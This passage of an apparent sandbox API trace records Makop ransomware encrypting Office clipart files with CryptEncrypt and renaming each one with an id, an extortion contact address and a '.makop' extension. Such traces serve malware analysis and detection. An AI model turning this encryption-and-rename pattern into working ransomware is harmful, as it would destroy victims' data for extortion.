| out: lpNewFilePointer=0x0) returned 1 [0114.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2470, lpOverlapped=0x0) returned 1 [0114.169] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.169] SetEndOfFile (hFile=0xf0) returned 1 [0114.176] GetProcessHeap () returned 0x48a0000 [0114.176] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.176] GetProcessHeap () returned 0x48a0000 [0114.176] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.176] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.178] CloseHandle (hObject=0xf0) returned 1 [0114.178] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0114.178] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0114.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.192] GetProcessHeap () returned 0x48a0000 [0114.192] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.193] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.193] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0114.268] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.269] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.269] GetProcessHeap () returned 0x48a0000 [0114.269] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0114.269] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0114.269] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.269] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0114.269] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.269] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.269] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.270] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.270] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.270] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x816, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x816, lpOverlapped=0x0) returned 1 [0114.270] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820) returned 1 [0114.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x820, lpOverlapped=0x0) returned 1 [0114.271] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.271] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.271] SetEndOfFile (hFile=0xf0) returned 1 [0114.277] GetProcessHeap () returned 0x48a0000 [0114.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0114.277] GetProcessHeap () returned 0x48a0000 [0114.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.277] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 106 [0114.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.279] CloseHandle (hObject=0xf0) returned 1 [0114.279] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0114.279] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0114.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.379] GetProcessHeap () returned 0x48a0000 [0114.379] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.379] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.379] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0114.522] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.522] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.522] GetProcessHeap () returned 0x48a0000 [0114.522] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.522] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.523] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.523] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.523] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.523] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.523] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.523] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.523] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.523] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.524] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d8f, lpOverlapped=0x0) returned 1 [0114.525] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d90) returned 1 [0114.525] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.525] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d90, lpOverlapped=0x0) returned 1 [0114.525] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.526] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.526] SetEndOfFile (hFile=0xf0) returned 1 [0114.534] GetProcessHeap () returned 0x48a0000 [0114.534] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.535] GetProcessHeap () returned 0x48a0000 [0114.535] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.535] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.536] CloseHandle (hObject=0xf0) returned 1 [0114.536] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0114.536] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0114.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.537] GetProcessHeap () returned 0x48a0000 [0114.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.537] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0114.541] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.542] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.542] GetProcessHeap () returned 0x48a0000 [0114.542] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.542] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.542] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.542] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.542] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.542] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.542] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.543] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.543] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.543] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18bb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18bb, lpOverlapped=0x0) returned 1 [0114.545] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18c0) returned 1 [0114.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.545] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18c0, lpOverlapped=0x0) returned 1 [0114.545] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.545] SetEndOfFile (hFile=0xf0) returned 1 [0114.552] GetProcessHeap () returned 0x48a0000 [0114.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.552] GetProcessHeap () returned 0x48a0000 [0114.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.552] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0114.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.554] CloseHandle (hObject=0xf0) returned 1 [0114.554] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0114.554] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0114.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.559] GetProcessHeap () returned 0x48a0000 [0114.559] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.559] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.559] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.559] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0114.563] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.563] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.563] GetProcessHeap () returned 0x48a0000 [0114.563] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.563] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.563] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.563] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.638] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.639] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.639] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.639] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 